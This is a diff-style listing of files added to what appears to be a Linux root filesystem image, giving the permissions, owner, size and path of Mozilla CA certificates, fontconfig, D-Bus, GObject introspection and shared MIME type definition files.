+-rw-r--r-- root root 1939 ./usr/share/ca-certificates/mozilla/GeoTrust_Universal_CA_2.crt
+-rw-r--r-- root root 1935 ./usr/share/ca-certificates/mozilla/GeoTrust_Universal_CA.crt
+-rw-r--r-- root root 2585 ./usr/share/ca-certificates/mozilla/Global_Chambersign_Root_-_2008.crt
+-rw-r--r-- root root 713 ./usr/share/ca-certificates/mozilla/GlobalSign_ECC_Root_CA_-_R4.crt
+-rw-r--r-- root root 794 ./usr/share/ca-certificates/mozilla/GlobalSign_ECC_Root_CA_-_R5.crt
+-rw-r--r-- root root 1261 ./usr/share/ca-certificates/mozilla/GlobalSign_Root_CA.crt
+-rw-r--r-- root root 1354 ./usr/share/ca-certificates/mozilla/GlobalSign_Root_CA_-_R2.crt
+-rw-r--r-- root root 1229 ./usr/share/ca-certificates/mozilla/GlobalSign_Root_CA_-_R3.crt
+-rw-r--r-- root root 1972 ./usr/share/ca-certificates/mozilla/GlobalSign_Root_CA_-_R6.crt
+-rw-r--r-- root root 1448 ./usr/share/ca-certificates/mozilla/Go_Daddy_Class_2_CA.crt
+-rw-r--r-- root root 1367 ./usr/share/ca-certificates/mozilla/Go_Daddy_Root_Certificate_Authority_-_G2.crt
+-rw-r--r-- root root 1017 ./usr/share/ca-certificates/mozilla/Hellenic_Academic_and_Research_Institutions_ECC_RootCA_2015.crt
+-rw-r--r-- root root 1513 ./usr/share/ca-certificates/mozilla/Hellenic_Academic_and_Research_Institutions_RootCA_2011.crt
+-rw-r--r-- root root 2155 ./usr/share/ca-certificates/mozilla/Hellenic_Academic_and_Research_Institutions_RootCA_2015.crt
+-rw-r--r-- root root 1168 ./usr/share/ca-certificates/mozilla/Hongkong_Post_Root_CA_1.crt
+-rw-r--r-- root root 1923 ./usr/share/ca-certificates/mozilla/IdenTrust_Commercial_Root_CA_1.crt
+-rw-r--r-- root root 1931 ./usr/share/ca-certificates/mozilla/IdenTrust_Public_Sector_Root_CA_1.crt
+-rw-r--r-- root root 1939 ./usr/share/ca-certificates/mozilla/ISRG_Root_X1.crt
+-rw-r--r-- root root 2122 ./usr/share/ca-certificates/mozilla/Izenpe.com.crt
+-rw-r--r-- root root 2057 ./usr/share/ca-certificates/mozilla/LuxTrust_Global_Root_2.crt
+-rw-r--r-- root root 1460 ./usr/share/ca-certificates/mozilla/Microsec_e-Szigno_Root_CA_2009.crt
+-rw-r--r-- root root 1476 ./usr/share/ca-certificates/mozilla/NetLock_Arany_=Class_Gold=_Főtanúsítvány.crt
+-rw-r--r-- root root 1411 ./usr/share/ca-certificates/mozilla/Network_Solutions_Certificate_Authority.crt
+-rw-r--r-- root root 1428 ./usr/share/ca-certificates/mozilla/OISTE_WISeKey_Global_Root_GA_CA.crt
+-rw-r--r-- root root 1346 ./usr/share/ca-certificates/mozilla/OISTE_WISeKey_Global_Root_GB_CA.crt
+-rw-r--r-- root root 895 ./usr/share/ca-certificates/mozilla/OISTE_WISeKey_Global_Root_GC_CA.crt
+-rw-r--r-- root root 1923 ./usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_1_G3.crt
+-rw-r--r-- root root 2041 ./usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_2.crt
+-rw-r--r-- root root 1923 ./usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_2_G3.crt
+-rw-r--r-- root root 2354 ./usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_3.crt
+-rw-r--r-- root root 1923 ./usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_3_G3.crt
+-rw-r--r-- root root 2078 ./usr/share/ca-certificates/mozilla/QuoVadis_Root_CA.crt
+-rw-r--r-- root root 1354 ./usr/share/ca-certificates/mozilla/Secure_Global_CA.crt
+-rw-r--r-- root root 1249 ./usr/share/ca-certificates/mozilla/SecureSign_RootCA11.crt
+-rw-r--r-- root root 1350 ./usr/share/ca-certificates/mozilla/SecureTrust_CA.crt
+-rw-r--r-- root root 1261 ./usr/share/ca-certificates/mozilla/Security_Communication_RootCA2.crt
+-rw-r--r-- root root 1224 ./usr/share/ca-certificates/mozilla/Security_Communication_Root_CA.crt
+-rw-r--r-- root root 1143 ./usr/share/ca-certificates/mozilla/Sonera_Class_2_Root_CA.crt
+-rw-r--r-- root root 956 ./usr/share/ca-certificates/mozilla/SSL.com_EV_Root_Certification_Authority_ECC.crt
+-rw-r--r-- root root 2114 ./usr/share/ca-certificates/mozilla/SSL.com_EV_Root_Certification_Authority_RSA_R2.crt
+-rw-r--r-- root root 944 ./usr/share/ca-certificates/mozilla/SSL.com_Root_Certification_Authority_ECC.crt
+-rw-r--r-- root root 2094 ./usr/share/ca-certificates/mozilla/SSL.com_Root_Certification_Authority_RSA.crt
+-rw-r--r-- root root 1948 ./usr/share/ca-certificates/mozilla/Staat_der_Nederlanden_EV_Root_CA.crt
+-rw-r--r-- root root 2069 ./usr/share/ca-certificates/mozilla/Staat_der_Nederlanden_Root_CA_-_G2.crt
+-rw-r--r-- root root 1952 ./usr/share/ca-certificates/mozilla/Staat_der_Nederlanden_Root_CA_-_G3.crt
+-rw-r--r-- root root 1468 ./usr/share/ca-certificates/mozilla/Starfield_Class_2_CA.crt
+-rw-r--r-- root root 1399 ./usr/share/ca-certificates/mozilla/Starfield_Root_Certificate_Authority_-_G2.crt
+-rw-r--r-- root root 1424 ./usr/share/ca-certificates/mozilla/Starfield_Services_Root_Certificate_Authority_-_G2.crt
+-rw-r--r-- root root 2045 ./usr/share/ca-certificates/mozilla/SwissSign_Gold_CA_-_G2.crt
+-rw-r--r-- root root 2049 ./usr/share/ca-certificates/mozilla/SwissSign_Silver_CA_-_G2.crt
+-rw-r--r-- root root 1257 ./usr/share/ca-certificates/mozilla/SZAFIR_ROOT_CA2.crt
+-rw-r--r-- root root 1948 ./usr/share/ca-certificates/mozilla/Taiwan_GRCA.crt
+-rw-r--r-- root root 1870 ./usr/share/ca-certificates/mozilla/TeliaSonera_Root_CA_v1.crt
+-rw-r--r-- root root 1493 ./usr/share/ca-certificates/mozilla/thawte_Primary_Root_CA.crt
+-rw-r--r-- root root 940 ./usr/share/ca-certificates/mozilla/thawte_Primary_Root_CA_-_G2.crt
+-rw-r--r-- root root 1505 ./usr/share/ca-certificates/mozilla/thawte_Primary_Root_CA_-_G3.crt
+-rw-r--r-- root root 1493 ./usr/share/ca-certificates/mozilla/TrustCor_ECA-1.crt
+-rw-r--r-- root root 1513 ./usr/share/ca-certificates/mozilla/TrustCor_RootCert_CA-1.crt
+-rw-r--r-- root root 2204 ./usr/share/ca-certificates/mozilla/TrustCor_RootCert_CA-2.crt
+-rw-r--r-- root root 1241 ./usr/share/ca-certificates/mozilla/Trustis_FPS_Root_CA.crt
+-rw-r--r-- root root 1367 ./usr/share/ca-certificates/mozilla/T-TeleSec_GlobalRoot_Class_2.crt
+-rw-r--r-- root root 1367 ./usr/share/ca-certificates/mozilla/T-TeleSec_GlobalRoot_Class_3.crt
+-rw-r--r-- root root 1582 ./usr/share/ca-certificates/mozilla/TUBITAK_Kamu_SM_SSL_Kok_Sertifikasi_-_Surum_1.crt
+-rw-r--r-- root root 1883 ./usr/share/ca-certificates/mozilla/TWCA_Global_Root_CA.crt
+-rw-r--r-- root root 1269 ./usr/share/ca-certificates/mozilla/TWCA_Root_Certification_Authority.crt
+-rw-r--r-- root root 948 ./usr/share/ca-certificates/mozilla/USERTrust_ECC_Certification_Authority.crt
+-rw-r--r-- root root 2094 ./usr/share/ca-certificates/mozilla/USERTrust_RSA_Certification_Authority.crt
+-rw-r--r-- root root 1484 ./usr/share/ca-certificates/mozilla/Verisign_Class_3_Public_Primary_Certification_Authority_-_G3.crt
+-rw-r--r-- root root 1281 ./usr/share/ca-certificates/mozilla/VeriSign_Class_3_Public_Primary_Certification_Authority_-_G4.crt
+-rw-r--r-- root root 1732 ./usr/share/ca-certificates/mozilla/VeriSign_Class_3_Public_Primary_Certification_Authority_-_G5.crt
+-rw-r--r-- root root 1700 ./usr/share/ca-certificates/mozilla/VeriSign_Universal_Root_Certification_Authority.crt
+-rw-r--r-- root root 1513 ./usr/share/ca-certificates/mozilla/XRamp_Global_CA_Root.crt
+drwxr-xr-x root root 4096 ./usr/share/cmake
+drwxr-xr-x root root 4096 ./usr/share/cmake/bash-completion
+-rw-r--r-- root root 393 ./usr/share/cmake/bash-completion/bash-completion-config.cmake
+-rw-r--r-- root root 252 ./usr/share/cmake/bash-completion/bash-completion-config-version.cmake
+drwxr-xr-x root root 4096 ./usr/share/dbus-1
+drwxr-xr-x root root 4096 ./usr/share/dbus-1/services
+-rw-r--r-- root root 3561 ./usr/share/dbus-1/session.conf
+drwxr-xr-x root root 4096 ./usr/share/dbus-1/session.d
+-rw-r--r-- root root 5692 ./usr/share/dbus-1/system.conf
+drwxr-xr-x root root 4096 ./usr/share/dbus-1/system.d
+drwxr-xr-x root root 4096 ./usr/share/dbus-1/system-services
+drwxr-xr-x root root 4096 ./usr/share/dict
+drwxr-xr-x root root 4096 ./usr/share/drirc.d
+-rw-r--r-- root root 27422 ./usr/share/drirc.d/00-mesa-defaults.conf
+drwxr-xr-x root root 4096 ./usr/share/et
+-rw-r--r-- root root 6485 ./usr/share/et/et_c.awk
+-rw-r--r-- root root 4539 ./usr/share/et/et_h.awk
+drwxr-xr-x root root 4096 ./usr/share/fontconfig
+drwxr-xr-x root root 4096 ./usr/share/fontconfig/conf.avail
+-rw-r--r-- root root 706 ./usr/share/fontconfig/conf.avail/10-autohint.conf
+-rw-r--r-- root root 692 ./usr/share/fontconfig/conf.avail/10-hinting-full.conf
+-rw-r--r-- root root 696 ./usr/share/fontconfig/conf.avail/10-hinting-medium.conf
+-rw-r--r-- root root 692 ./usr/share/fontconfig/conf.avail/10-hinting-none.conf
+-rw-r--r-- root root 696 ./usr/share/fontconfig/conf.avail/10-hinting-slight.conf
+-rw-r--r-- root root 723 ./usr/share/fontconfig/conf.avail/10-no-sub-pixel.conf
+-rw-r--r-- root root 2228 ./usr/share/fontconfig/conf.avail/10-scale-bitmap-fonts.conf
+-rw-r--r-- root root 748 ./usr/share/fontconfig/conf.avail/10-sub-pixel-bgr.conf
+-rw-r--r-- root root 748 ./usr/share/fontconfig/conf.avail/10-sub-pixel-rgb.conf
+-rw-r--r-- root root 758 ./usr/share/fontconfig/conf.avail/10-sub-pixel-vbgr.conf
+-rw-r--r-- root root 758 ./usr/share/fontconfig/conf.avail/10-sub-pixel-vrgb.conf
+-rw-r--r-- root root 701 ./usr/share/fontconfig/conf.avail/10-unhinted.conf
+-rw-r--r-- root root 771 ./usr/share/fontconfig/conf.avail/11-lcdfilter-default.conf
+-rw-r--r-- root root 768 ./usr/share/fontconfig/conf.avail/11-lcdfilter-legacy.conf
+-rw-r--r-- root root 765 ./usr/share/fontconfig/conf.avail/11-lcdfilter-light.conf
+-rw-r--r-- root root 1537 ./usr/share/fontconfig/conf.avail/20-unhint-small-vera.conf
+-rw-r--r-- root root 3489 ./usr/share/fontconfig/conf.avail/25-unhint-nonlatin.conf
+-rw-r--r-- root root 13274 ./usr/share/fontconfig/conf.avail/30-metric-aliases.conf
+-rw-r--r-- root root 5424 ./usr/share/fontconfig/conf.avail/40-nonlatin.conf
+-rw-r--r-- root root 3543 ./usr/share/fontconfig/conf.avail/45-generic.conf
+-rw-r--r-- root root 6600 ./usr/share/fontconfig/conf.avail/45-latin.conf
+-rw-r--r-- root root 799 ./usr/share/fontconfig/conf.avail/49-sansserif.conf
+-rw-r--r-- root root 911 ./usr/share/fontconfig/conf.avail/50-user.conf
+-rw-r--r-- root root 423 ./usr/share/fontconfig/conf.avail/51-local.conf
+-rw-r--r-- root root 2041 ./usr/share/fontconfig/conf.avail/60-generic.conf
+-rw-r--r-- root root 2068 ./usr/share/fontconfig/conf.avail/60-latin.conf
+-rw-r--r-- root root 10293 ./usr/share/fontconfig/conf.avail/65-fonts-persian.conf
+-rw-r--r-- root root 464 ./usr/share/fontconfig/conf.avail/65-khmer.conf
+-rw-r--r-- root root 8170 ./usr/share/fontconfig/conf.avail/65-nonlatin.conf
+-rw-r--r-- root root 847 ./usr/share/fontconfig/conf.avail/69-unifont.conf
+-rw-r--r-- root root 487 ./usr/share/fontconfig/conf.avail/70-no-bitmaps.conf
+-rw-r--r-- root root 487 ./usr/share/fontconfig/conf.avail/70-yes-bitmaps.conf
+-rw-r--r-- root root 597 ./usr/share/fontconfig/conf.avail/80-delicious.conf
+-rw-r--r-- root root 1917 ./usr/share/fontconfig/conf.avail/90-synthetic.conf
+drwxr-xr-x root root 4096 ./usr/share/gettext
+drwxr-xr-x root root 4096 ./usr/share/gettext/its
+-rw-r--r-- root root 189 ./usr/share/gettext/its/fontconfig.its
+-rw-r--r-- root root 189 ./usr/share/gettext/its/fontconfig.loc
+-rw-r--r-- root root 1048 ./usr/share/gettext/its/gschema.its
+-rw-r--r-- root root 333 ./usr/share/gettext/its/gschema.loc
+drwxr-xr-x root root 4096 ./usr/share/gir-1.0
+-rw-r--r-- root root 23723 ./usr/share/gir-1.0/cairo-1.0.gir
+-rw-r--r-- root root 1185 ./usr/share/gir-1.0/DBus-1.0.gir
+-rw-r--r-- root root 797 ./usr/share/gir-1.0/DBusGLib-1.0.gir
+-rw-r--r-- root root 620 ./usr/share/gir-1.0/fontconfig-2.0.gir
+-rw-r--r-- root root 768 ./usr/share/gir-1.0/freetype2-2.0.gir
+-rw-r--r-- root root 6332887 ./usr/share/gir-1.0/Gio-2.0.gir
+-rw-r--r-- root root 29235 ./usr/share/gir-1.0/gir-1.2.rnc
+-rw-r--r-- root root 324506 ./usr/share/gir-1.0/GIRepository-2.0.gir
+-rw-r--r-- root root 1122 ./usr/share/gir-1.0/GL-1.0.gir
+-rw-r--r-- root root 3544680 ./usr/share/gir-1.0/GLib-2.0.gir
+-rw-r--r-- root root 19691 ./usr/share/gir-1.0/GModule-2.0.gir
+-rw-r--r-- root root 1247584 ./usr/share/gir-1.0/GObject-2.0.gir
+-rw-r--r-- root root 938 ./usr/share/gir-1.0/libxml2-2.0.gir
+-rw-r--r-- root root 65349 ./usr/share/gir-1.0/Vulkan-1.0.gir
+-rw-r--r-- root root 611 ./usr/share/gir-1.0/win32-1.0.gir
+-rw-r--r-- root root 361 ./usr/share/gir-1.0/xfixes-4.0.gir
+-rw-r--r-- root root 745 ./usr/share/gir-1.0/xft-2.0.gir
+-rw-r--r-- root root 2325 ./usr/share/gir-1.0/xlib-2.0.gir
+-rw-r--r-- root root 808 ./usr/share/gir-1.0/xrandr-1.3.gir
+drwxr-xr-x root root 4096 ./usr/share/glib-2.0
+drwxr-xr-x root root 4096 ./usr/share/glib-2.0/gettext
+drwxr-xr-x root root 4096 ./usr/share/glib-2.0/gettext/po
+-rw-r--r-- root root 8076 ./usr/share/glib-2.0/gettext/po/Makefile.in.in
+drwxr-xr-x root root 4096 ./usr/share/glib-2.0/schemas
+-rw-r--r-- root root 2916 ./usr/share/glib-2.0/schemas/gschema.dtd
+drwxr-xr-x root root 4096 ./usr/share/glib-2.0/valgrind
+-rw-r--r-- root root 15263 ./usr/share/glib-2.0/valgrind/glib.supp
+drwxr-xr-x root root 4096 ./usr/share/gobject-introspection-1.0
+-rw-r--r-- root root 15228 ./usr/share/gobject-introspection-1.0/gdump.c
+-rw-r--r-- root root 7177 ./usr/share/gobject-introspection-1.0/Makefile.introspection
+drwxr-xr-x root root 4096 ./usr/share/info
+drwxr-xr-x root root 4096 ./usr/share/libdrm
+-rw-r--r-- root root 7547 ./usr/share/libdrm/amdgpu.ids
+drwxr-xr-x root root 4096 ./usr/share/man
+drwxr-xr-x root root 4096 ./usr/share/mime
+-rw-r--r-- root root 10777 ./usr/share/mime/aliases
+drwxr-xr-x root root 20480 ./usr/share/mime/application
+-rw-r--r-- root root 2700 ./usr/share/mime/application/andrew-inset.xml
+-rw-r--r-- root root 3200 ./usr/share/mime/application/annodex.xml
+-rw-r--r-- root root 3123 ./usr/share/mime/application/atom+xml.xml
+-rw-r--r-- root root 3009 ./usr/share/mime/application/dicom.xml
+-rw-r--r-- root root 3299 ./usr/share/mime/application/ecmascript.xml
+-rw-r--r-- root root 3513 ./usr/share/mime/application/epub+zip.xml
+-rw-r--r-- root root 2263 ./usr/share/mime/application/geo+json.xml
+-rw-r--r-- root root 2304 ./usr/share/mime/application/gml+xml.xml
+-rw-r--r-- root root 3264 ./usr/share/mime/application/gnunet-directory.xml
+-rw-r--r-- root root 2354 ./usr/share/mime/application/gpx+xml.xml
+-rw-r--r-- root root 2813 ./usr/share/mime/application/gzip.xml
+-rw-r--r-- root root 3757 ./usr/share/mime/application/illustrator.xml
+-rw-r--r-- root root 3404 ./usr/share/mime/application/javascript.xml
+-rw-r--r-- root root 2140 ./usr/share/mime/application/jrd+json.xml
+-rw-r--r-- root root 1993 ./usr/share/mime/application/json-patch+json.xml
+-rw-r--r-- root root 2281 ./usr/share/mime/application/json.xml
+-rw-r--r-- root root 2255 ./usr/share/mime/application/ld+json.xml
+-rw-r--r-- root root 4240 ./usr/share/mime/application/mac-binhex40.xml
+-rw-r--r-- root root 1136 ./usr/share/mime/application/mathematica.xml
+-rw-r--r-- root root 3328 ./usr/share/mime/application/mathml+xml.xml
+-rw-r--r-- root root 3112 ./usr/share/mime/application/mbox.xml
+-rw-r--r-- root root 2759 ./usr/share/mime/application/metalink4+xml.xml
+-rw-r--r-- root root 2761 ./usr/share/mime/application/metalink+xml.xml
+-rw-r--r-- root root 2925 ./usr/share/mime/application/msword-template.xml
+-rw-r--r-- root root 3057 ./usr/share/mime/application/msword.xml
+-rw-r--r-- root root 2615 ./usr/share/mime/application/mxf.xml
+-rw-r--r-- root root 2687 ./usr/share/mime/application/octet-stream.xml
+-rw-r--r-- root root 3111 ./usr/share/mime/application/oda.xml
+-rw-r--r-- root root 3393 ./usr/share/mime/application/ogg.xml
+-rw-r--r-- root root 2057 ./usr/share/mime/application/owl+xml.xml
+-rw-r--r-- root root 3059 ./usr/share/mime/application/oxps.xml
+-rw-r--r-- root root 3131 ./usr/share/mime/application/pdf.xml
+-rw-r--r-- root root 4545 ./usr/share/mime/application/pgp-encrypted.xml
+-rw-r--r-- root root 3138 ./usr/share/mime/application/pgp-keys.xml
+-rw-r--r-- root root 3716 ./usr/share/mime/application/pgp-signature.xml
+-rw-r--r-- root root 3686 ./usr/share/mime/application/pkcs10.xml
+-rw-r--r-- root root 3703 ./usr/share/mime/application/pkcs12.xml
+-rw-r--r-- root root 1090 ./usr/share/mime/application/pkcs7-mime.xml
+-rw-r--r-- root root 3684 ./usr/share/mime/application/pkcs7-signature.xml
+-rw-r--r-- root root 2231 ./usr/share/mime/application/pkcs8-encrypted.xml
+-rw-r--r-- root root 2936 ./usr/share/mime/application/pkcs8.xml
+-rw-r--r-- root root 2674 ./usr/share/mime/application/pkix-cert.xml
+-rw-r--r-- root root 1120 ./usr/share/mime/application/pkix-crl.xml
+-rw-r--r-- root root 3306 ./usr/share/mime/application/pkix-pkipath.xml
+-rw-r--r-- root root 1110 ./usr/share/mime/application/postscript.xml
+-rw-r--r-- root root 3011 ./usr/share/mime/application/prs.plucker.xml
+-rw-r--r-- root root 1992 ./usr/share/mime/application/raml+yaml.xml
+-rw-r--r-- root root 1115 ./usr/share/mime/application/ram.xml
+-rw-r--r-- root root 2800 ./usr/share/mime/application/rdf+xml.xml
+-rw-r--r-- root root 2940 ./usr/share/mime/application/relax-ng-compact-syntax.xml
+-rw-r--r-- root root 2927 ./usr/share/mime/application/rss+xml.xml
+-rw-r--r-- root root 2954 ./usr/share/mime/application/rtf.xml
+-rw-r--r-- root root 3857 ./usr/share/mime/application/sdp.xml
+-rw-r--r-- root root 3701 ./usr/share/mime/application/sieve.xml
+-rw-r--r-- root root 3131 ./usr/share/mime/application/smil+xml.xml
+-rw-r--r-- root root 2733 ./usr/share/mime/application/sql.xml
+-rw-r--r-- root root 2434 ./usr/share/mime/application/trig.xml
+-rw-r--r-- root root 3433 ./usr/share/mime/application/vnd.adobe.flash.movie.xml
+-rw-r--r-- root root 432 ./usr/share/mime/application/vnd.amazon.mobi8-ebook.xml
+-rw-r--r-- root root 2605 ./usr/share/mime/application/vnd.android.package-archive.xml
+-rw-r--r-- root root 2358 ./usr/share/mime/application/vnd.appimage.xml
+-rw-r--r-- root root 3597 ./usr/share/mime/application/vnd.apple.mpegurl.xml
+-rw-r--r-- root root 3598 ./usr/share/mime/application/vnd.chess-pgn.xml
+-rw-r--r-- root root 2381 ./usr/share/mime/application/vnd.coffeescript.xml
+-rw-r--r-- root root 3230 ./usr/share/mime/application/vnd.comicbook-rar.xml
+-rw-r--r-- root root 3226 ./usr/share/mime/application/vnd.comicbook+zip.xml
+-rw-r--r-- root root 3655 ./usr/share/mime/application/vnd.corel-draw.xml
+-rw-r--r-- root root 3205 ./usr/share/mime/application/vnd.debian.binary-package.xml
+-rw-r--r-- root root 3403 ./usr/share/mime/application/vnd.emusic-emusic_package.xml
+-rw-r--r-- root root 2211 ./usr/share/mime/application/vnd.flatpak.ref.xml
+-rw-r--r-- root root 2273 ./usr/share/mime/application/vnd.flatpak.repo.xml
+-rw-r--r-- root root 2279 ./usr/share/mime/application/vnd.flatpak.xml
+-rw-r--r-- root root 3675 ./usr/share/mime/application/vnd.framemaker.xml
+-rw-r--r-- root root 3051 ./usr/share/mime/application/vnd.google-earth.kml+xml.xml
+-rw-r--r-- root root 3579 ./usr/share/mime/application/vnd.google-earth.kmz.xml
+-rw-r--r-- root root 2820 ./usr/share/mime/application/vnd.hp-hpgl.xml
+-rw-r--r-- root root 2769 ./usr/share/mime/application/vnd.hp-pcl.xml
+-rw-r--r-- root root 2536 ./usr/share/mime/application/vnd.iccprofile.xml
+-rw-r--r-- root root 3991 ./usr/share/mime/application/vnd.lotus-1-2-3.xml
+-rw-r--r-- root root 1142 ./usr/share/mime/application/vnd.lotus-wordpro.xml
+-rw-r--r-- root root 3540 ./usr/share/mime/application/vnd.mozilla.xul+xml.xml
+-rw-r--r-- root root 3419 ./usr/share/mime/application/vnd.ms-access.xml
+-rw-r--r-- root root 2921 ./usr/share/mime/application/vnd.ms-asf.xml
+-rw-r--r-- root root 3299 ./usr/share/mime/application/vnd.ms-cab-compressed.xml
+-rw-r--r-- root root 2619 ./usr/share/mime/application/vnd.ms-excel.addin.macroenabled.12.xml
+-rw-r--r-- root root 3407 ./usr/share/mime/application/vnd.ms-excel.sheet.binary.macroenabled.12.xml
+-rw-r--r-- root root 3330 ./usr/share/mime/application/vnd.ms-excel.sheet.macroenabled.12.xml
+-rw-r--r-- root root 2685 ./usr/share/mime/application/vnd.ms-excel.template.macroenabled.12.xml
+-rw-r--r-- root root 3525 ./usr/share/mime/application/vnd.ms-excel.xml
+-rw-r--r-- root root 3011 ./usr/share/mime/application/vnd.ms-htmlhelp.xml
+-rw-r--r-- root root 2734 ./usr/share/mime/application/vnd.ms-powerpoint.addin.macroenabled.12.xml
+-rw-r--r-- root root 3491 ./usr/share/mime/application/vnd.ms-powerpoint.presentation.macroenabled.12.xml
+-rw-r--r-- root root 2420 ./usr/share/mime/application/vnd.ms-powerpoint.slide.macroenabled.12.xml
+-rw-r--r-- root root 3485 ./usr/share/mime/application/vnd.ms-powerpoint.slideshow.macroenabled.12.xml
+-rw-r--r-- root root 2906 ./usr/share/mime/application/vnd.ms-powerpoint.template.macroenabled.12.xml
+-rw-r--r-- root root 3569 ./usr/share/mime/application/vnd.ms-powerpoint.xml
+-rw-r--r-- root root 2757 ./usr/share/mime/application/vnd.ms-publisher.xml
+-rw-r--r-- root root 2977 ./usr/share/mime/application/vnd.ms-tnef.xml
+-rw-r--r-- root root 1161 ./usr/share/mime/application/vnd.ms-visio.drawing.macroenabled.main+xml.xml
+-rw-r--r-- root root 1148 ./usr/share/mime/application/vnd.ms-visio.drawing.main+xml.xml
+-rw-r--r-- root root 1163 ./usr/share/mime/application/vnd.ms-visio.stencil.macroenabled.main+xml.xml
+-rw-r--r-- root root 1150 ./usr/share/mime/application/vnd.ms-visio.stencil.main+xml.xml
+-rw-r--r-- root root 1226 ./usr/share/mime/application/vnd.ms-visio.template.macroenabled.main+xml.xml
+-rw-r--r-- root root 1213 ./usr/share/mime/application/vnd.ms-visio.template.main+xml.xml
+-rw-r--r-- root root 3004 ./usr/share/mime/application/vnd.ms-word.document.macroenabled.12.xml
+-rw-r--r-- root root 2541 ./usr/share/mime/application/vnd.ms-word.template.macroenabled.12.xml
+-rw-r--r-- root root 3639 ./usr/share/mime/application/vnd.ms-works.xml
+-rw-r--r-- root root 3039 ./usr/share/mime/application/vnd.ms-wpl.xml
+-rw-r--r-- root root 2927 ./usr/share/mime/application/vnd.nintendo.snes.rom.xml
+-rw-r--r-- root root 2760 ./usr/share/mime/application/vnd.oasis.opendocument.chart-template.xml
+-rw-r--r-- root root 2879 ./usr/share/mime/application/vnd.oasis.opendocument.chart.xml
+-rw-r--r-- root root 3262 ./usr/share/mime/application/vnd.oasis.opendocument.database.xml
+-rw-r--r-- root root 2776 ./usr/share/mime/application/vnd.oasis.opendocument.formula-template.xml
+-rw-r--r-- root root 2954 ./usr/share/mime/application/vnd.oasis.opendocument.formula.xml
+-rw-r--r-- root root 3235 ./usr/share/mime/application/vnd.oasis.opendocument.graphics-flat-xml.xml
+-rw-r--r-- root root 2958 ./usr/share/mime/application/vnd.oasis.opendocument.graphics-template.xml
+-rw-r--r-- root root 2918 ./usr/share/mime/application/vnd.oasis.opendocument.graphics.xml
+-rw-r--r-- root root 2956 ./usr/share/mime/application/vnd.oasis.opendocument.image.xml
+-rw-r--r-- root root 3480 ./usr/share/mime/application/vnd.oasis.opendocument.presentation-flat-xml.xml
+-rw-r--r-- root root 2974 ./usr/share/mime/application/vnd.oasis.opendocument.presentation-template.xml
+-rw-r--r-- root root 3204 ./usr/share/mime/application/vnd.oasis.opendocument.presentation.xml
+-rw-r--r-- root root 3506 ./usr/share/mime/application/vnd.oasis.opendocument.spreadsheet-flat-xml.xml
+-rw-r--r-- root root 2970 ./usr/share/mime/application/vnd.oasis.opendocument.spreadsheet-template.xml
+-rw-r--r-- root root 3226 ./usr/share/mime/application/vnd.oasis.opendocument.spreadsheet.xml
+-rw-r--r-- root root 3352 ./usr/share/mime/application/vnd.oasis.opendocument.text-flat-xml.xml
+-rw-r--r-- root root 3033 ./usr/share/mime/application/vnd.oasis.opendocument.text-master.xml
+-rw-r--r-- root root 2956 ./usr/share/mime/application/vnd.oasis.opendocument.text-template.xml
+-rw-r--r-- root root 2925 ./usr/share/mime/application/vnd.oasis.opendocument.text-web.xml
+-rw-r--r-- root root 3024 ./usr/share/mime/application/vnd.oasis.opendocument.text.xml
+-rw-r--r-- root root 3524 ./usr/share/mime/application/vnd.openofficeorg.extension.xml
+-rw-r--r-- root root 3394 ./usr/share/mime/application/vnd.openxmlformats-officedocument.presentationml.presentation.xml
+-rw-r--r-- root root 3257 ./usr/share/mime/application/vnd.openxmlformats-officedocument.presentationml.slideshow.xml
+-rw-r--r-- root root 2932 ./usr/share/mime/application/vnd.openxmlformats-officedocument.presentationml.slide.xml
+-rw-r--r-- root root 3563 ./usr/share/mime/application/vnd.openxmlformats-officedocument.presentationml.template.xml
+-rw-r--r-- root root 3250 ./usr/share/mime/application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.xml
+-rw-r--r-- root root 3378 ./usr/share/mime/application/vnd.openxmlformats-officedocument.spreadsheetml.template.xml
+-rw-r--r-- root root 2957 ./usr/share/mime/application/vnd.openxmlformats-officedocument.wordprocessingml.document.xml
+-rw-r--r-- root root 3210 ./usr/share/mime/application/vnd.openxmlformats-officedocument.wordprocessingml.template.xml
+-rw-r--r-- root root 3457 ./usr/share/mime/application/vnd.palm.xml
+-rw-r--r-- root root 2983 ./usr/share/mime/application/vnd.rar.xml
+-rw-r--r-- root root 3320 ./usr/share/mime/application/vnd.rn-realmedia.xml
+-rw-r--r-- root root 1759 ./usr/share/mime/application/vnd.snap.xml
+-rw-r--r-- root root 3196 ./usr/share/mime/application/vnd.sqlite3.xml
+-rw-r--r-- root root 1139 ./usr/share/mime/application/vnd.squashfs.xml
+-rw-r--r-- root root 3467 ./usr/share/mime/application/vnd.stardivision.calc.xml
+-rw-r--r-- root root 3228 ./usr/share/mime/application/vnd.stardivision.chart.xml
+-rw-r--r-- root root 3156 ./usr/share/mime/application/vnd.stardivision.draw.xml
+-rw-r--r-- root root 3619 ./usr/share/mime/application/vnd.stardivision.impress.xml
+-rw-r--r-- root root 3181 ./usr/share/mime/application/vnd.stardivision.mail.xml
+-rw-r--r-- root root 3090 ./usr/share/mime/application/vnd.stardivision.math.xml
+-rw-r--r-- root root 3489 ./usr/share/mime/application/vnd.stardivision.writer.xml
+-rw-r--r-- root root 3534 ./usr/share/mime/application/vnd.sun.xml.calc.template.xml
+-rw-r--r-- root root 3762 ./usr/share/mime/application/vnd.sun.xml.calc.xml
+-rw-r--r-- root root 3513 ./usr/share/mime/application/vnd.sun.xml.draw.template.xml
+-rw-r--r-- root root 3438 ./usr/share/mime/application/vnd.sun.xml.draw.xml
+-rw-r--r-- root root 3704 ./usr/share/mime/application/vnd.sun.xml.impress.template.xml
+-rw-r--r-- root root 4000 ./usr/share/mime/application/vnd.sun.xml.impress.xml
+-rw-r--r-- root root 3488 ./usr/share/mime/application/vnd.sun.xml.math.xml
+-rw-r--r-- root root 4341 ./usr/share/mime/application/vnd.sun.xml.writer.global.xml
+-rw-r--r-- root root 3819 ./usr/share/mime/application/vnd.sun.xml.writer.template.xml
+-rw-r--r-- root root 3800 ./usr/share/mime/application/vnd.sun.xml.writer.xml
+-rw-r--r-- root root 2835 ./usr/share/mime/application/vnd.symbian.install.xml
+-rw-r--r-- root root 1126 ./usr/share/mime/application/vnd.tcpdump.pcap.xml
